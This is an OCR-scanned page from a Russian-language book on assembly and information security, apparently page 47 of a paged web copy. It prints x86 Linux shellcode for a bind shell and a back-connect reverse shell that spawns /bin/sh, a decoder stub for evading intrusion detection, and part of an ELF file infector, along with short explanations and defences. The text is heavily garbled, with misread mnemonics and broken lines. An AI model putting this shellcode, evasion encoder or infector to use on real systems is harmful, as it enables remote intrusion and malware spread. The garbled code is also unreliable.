Анимация
JavaScript


Главная  Библионтека 

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 [ 47 ] 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88

raovw

leal

raovl

xorl

raovl

raovb

movl

movb

movb

exit

]rap

doit 1;

imp вызов функции

raovb

movl

raovb

raovb

int / /вызов

%ax,Oxe(%esi) Oxc (%esi),%eax %eax,0x4(%esi) %eax,%eax %eax,0x10 (%esi) $0x10,%al 1еах,0к8 (%esi) $ 0 X 6 6 , % a 1 $0x2,%bl $0x80 0x4

$exit

xorl raovl raovl movb movb int / / вызов

doit

listen () $0x1,%al %eax,0x4 (%esi) $0x66,%al $0x4,%bl $0x80 функции accept ()

%eax,%eax %eax,0x4(%esil %eax,0x8 [iesi] $0x66,%al $0x5,%bl $0x80 функций dup2 ()

вообще говоря, этот код можно было бы заменить на следующий:

movb

%al,*bl $ 0 X 3 f , % a 1

movb

xorl

%ecx,iecx $0x80

movb

$0x3f, %-al

movb

$0x1,%cl

$0x80

raovb

$0x3f,%al

movb

$0x2,*cl

$0x80

но это увеличит размер кода, да и алгоритмически не очень красиво

movb $3,%cl

movb %al,%bl

loop l:

movb $0x3f,%al

int $0x80

loopnz $loop l вызов функции execve() смотри advanced execve()

xorl %eax,%eax

pushl %eax

pushl $0x68732f6e

pushl $0x69622f2f

raovl *esp,%ebx

cltd

pushl %edx pushl iebx movl %esp,%ecx movb $Oxb,%al int $0x80 exit:

вызов функции выхода xorl leax,%eax movb $0x1,%al xorl %ebx,%ebx int $0x80

после ниже идущей команды call в сегмент кода будет записываться структура, описывающая серверную часть программы doit:

call didit

В качестве дополнения ниже приведена программа, описывающая несколько други действия и в общем схожая по алгоритму с предыдущей. Дело в том что хакеры не все гда подсоединяются к серверу сами. Порой, из-за настроек firewall приходится вынуж дать сервер подключаться к хакеру. Для этого используются baclc-connect shell-кодь программы, при запуске которых подсоединяются к определенному серверу на опреде ленный порт и открывают оболочку.

В этом случае сам сервер становится клиентом, а хакер - сервером, .text

. global start start;

movl %esp,%ebp xorl %edx,%edx raovb $102,%edx movl %edx,%eax xorl %ecx,%ecx raovl %ecx,%ebx incl %ebx raovl %ebx, - 8 incl %ebx

raovl *ebx, -12(%ebp) decl %ebx raovl %ecx, -4( leal -12(%ebp) int $0x80 xorl %ecx,*ecx raovl %eax,-12i incl %ebx

movw %ebx,-20(%ebp) movw $9999,-18(%ebp) raovl $0xl00007f,-16(%ebp) leal -20 (%ebp),%eax movl %eax,-8(%ebp) raovb $16,-4 (%ebp) movl %edx,%eax incl %ebx

leal -12 (%ebp),%ecx

ebp)

ЬеЪр) , %ecx

ebp)



int $0x80 xorl %есх,%есх loop:

movb $63,%eax int $0x80

incl %ecx cmpl $3,%ecx jne $loop

xorl %eax,%eax

pushl %eax

pushl $0x68732f6e

pushl $0x69622f2f

raovl %esp,%ebx

cltd

pushl %edx pushl %ebx raovl iesp,iecK movb $Oxb,%al int $0x80

4.11. Защита от remote exploit

к сожалению, как таковой защиты не существует. Самый действенный метод анализ передаваемых по сети пакетов.

Существует технология Ш8 (Intrusion Detection System), эти системы в зависимости передаваемого по сети трафика позволяют пройти пакетам к программам-клиентам шш вызывают firewall, который в свою очередь блокирует вредоносный, по мнению IDS, трафи

Как же IDS определяют, что работает exploit.

Дело в том что в большинстве shell-кодов открытым текстом написано имя вызыв мой профаммы. Да и код многих из них похож. Поэтому IDS начинает действовать, i антивирус: сканирует приходящий трафик, проводя поиск известных ей сигнатур атак.

Хакеры, следящие за развитием компьютерной индустрии, придумали множество мето. обхода таких IDS. Можно заметить сходство борьбы между хакерами с IDS и вирусописг лей с антивирусными пакетами. Хакеры начинают перенимать криптофафические техно гии, методы внесения неопределенности в работу РПВ, используя их в своих shell-кодах.

Зашифровать сам текст shell-кода достаточно просто, стоит только помнить, в его теле не должны встречаться нулевые символы, иначе код просто не будет ра тать. Также следует помнить о том, что, возможно, сама профамма не позволит п нимать в виде входного параметра символ "/". Возможно ограничение на ввод ком нации символов sh. Все эти ограничения обходятся без проблем.

Рассмотрим пример использования шифровщика. Текст написан для синтаксиса ir так как может быть применен для шифрования shell-кода не только под Unix-систе но и под Windows.

BITS 32

raain decript: pop esi loop decr:

dec byte [esi+ecx] loop loop deer dec byte lesi] push esi ret

encoded;

call raain decrypt

db INCLUDE ENC0DEP SHELLCODE

INCLUDE ENC0DED SHELLC0DT; - это бинарные данные, зашифрованные по алгоритму обратному расшифровке

4.12. ELF-инфекторы

mov jrap

ecx,LENGTHS 0F ENC0DED SHELLC0DE short encoded

Так как сама операционная система написана на языке С, то и вирусов написанных на других языках достаточно мало. Вирусов под Linux вообще мало. Эта операционная система имеет грамотную систему разфаничения прав доступа, что в значительной степени предотвращает вирусную активность. Для того чтобы заразить всю систему, вирусу необходимо иметь как минимум привилегии root, а для этого нужно эксплуатировать какую-нибудь серьезную ошибку в системе.

В мире хакеров Linux-систем, как таковых, нет вирусописателей. Обычно хакеры пишут Elf-инфекторы (infector) в надежде на лучшие времена, пока не будет найдена уязвимость, присущая множеству Linux-систем.

Больщинство исполняемых файлов в Linux, называются Elf (Executable and Linking Format). Отсюда и название паразитов - Elf-паразиты.

Такие паразиты не имеют каких-либо особых функций, а в основном применяют какую-то специфическую технологию заражения. За исключением особых случаев, когда необходимо инфицировать определенный процесс, причем так, чтобы исполнялись какие-то определенные действия: открытие оболочки удаленному пользователю, запрет на проверку uid пользователя, чтение из какого-то файла и т. п.

Как уже говорилось ранее, таких паразитов обычно пишут на языке С, но при использовании ассемблера код получается более компактный. Плюс ко всему ассемблер позволяет профаммировать так, что при дизассемблировании программы достаточно трудно Понять, что профаммист имел в виду. Такое профаммирование превосходно подходит *1я сокрытия вируса от эвристического анализатора.

Методов заражения существует несколько: от банального добавления тела вируса 6 начало программы (с заголовком) и дописыванием тела инфицированной профаммы * Конец файла до разбиения тела вируса на куски и внедрение каждого в неиспользуемое Фостранство между секциями.

Дело в том что сам файл ELF формата состоит из нескольких секций, каждая из которых Имеет свои флаги и тип:



Ассемблер в задачах защиты информа

содержит данные;

не содержит данных;

разрешена запись в секцию;

разрешено выполнение секции;

разрешено динамическое выделение памяти.

Существует следующая возможность заражения: модифицируется заголовок програ\(. мы-жертвы таким образом, чтобы секция данных имела разрешение на исполнение. Это конечно, при условии, что до этого секция такого разрешения не имела. Далее, если хватает места, в секцию данных помещается код вируса и меняется точка входа программы именно на начало секции данных программы-жертвы. После того как вирус выполнил свои действия, он передает управление программе-носителю. Так как размер файла не меняется, то определить, что файл заражен, невооруженным глазом практически невозможно.

Защита от такого метода - проверка адреса точки входа в программу. Если он находится в промежутке адресов отведенных для секции, в которой, по определению, должны находиться данные, то возникает подозрение на вирус.

Иногда вирусы записывают свое тело в конец (последнюю секцию файла) файла-жертвы, после чего меняет точку входа в программу. Далее, как обычно, после работы вируса управление передается на профамму-жертву.

Ниже приведен пример профаммы ELF-инфектора.

, /victim"

. / infectvictira"

.data

victim:.string result: .string newshoff: entrysize: newent ry: . 1ong 0

traphandle:.long 0 syratpos:

symindex:.long 0 oldpoint: .long message:.string "Hel!\n" buffer:.byte 0 .global start start:

открываем исходный файл на чтение - это наша жертва после открытия результат помещается в %еах сохраняем его в стеке

movl $victim, %ebx

raovl $0x2, %ecx

xorl %edx, %edx

call fopen

pushl %eax

открываем файл - результат;

используемые флаги для открытия сохраняем дескриптор в переменной

raovl $result, %ebx

movl $01102, %ecx

raovl $00700, iedx

в него помещается зараженный

О RDWR I О CREAT I О TRUNC

rAasa,f;...:?.!..ff Р.?. О]фационно0 системе Linux

*есх iedx

call fopen .

movl %eax, traphandle

получаем старую точку входа в программу popl %еЪх

raovl $0x18,

xorl %edx,

call fseek

читаем ее в переменную

movl $address, %есх

raovl $0x4, *edx

call fread

получаем старое смещение секции заголовков movl $0x20, %есх

xorl %edx, %edx

call fseek

записываем его в переменную

raovl $oldpoint, lecx

movl $0x4, %edx

call fread

получаем размер секции заголовков raovl $0х2е, lecx

xorl %edx, %edx

call fseek

записываем в переменную

raovl $entrysize, lecx

raovl $0x4, iedx

call fread

вычисляем новую точку входа в зараженную программу movl $symindex, %есх

raovl call pushl xorl xorl raovw raovw raull addl raovl addl popl movl xorl call raovl raovl raovl raovl call

$0x2, %edx fread %ebx

%eax, %eax %ebx, %ebx syraindex, %bx entrysize, %ax %ebx

oldpoint, %eax %eax, oldpoint $0x10, oldpoint %ebx

oldpoint, %ecx %edx, %edx fseek

oldpoint, %eax %eax, syratpos $oldpoint, %ecx $0x4, %edx fread

готовим вторую часть для записи

xorl raovl call subl /, pushl

/копируем файл xorl

%ecx, *ecx $2, %edx fseek

oldpoint, %eax %eax

%edx, %edx SEEK SET



0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 [ 47 ] 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88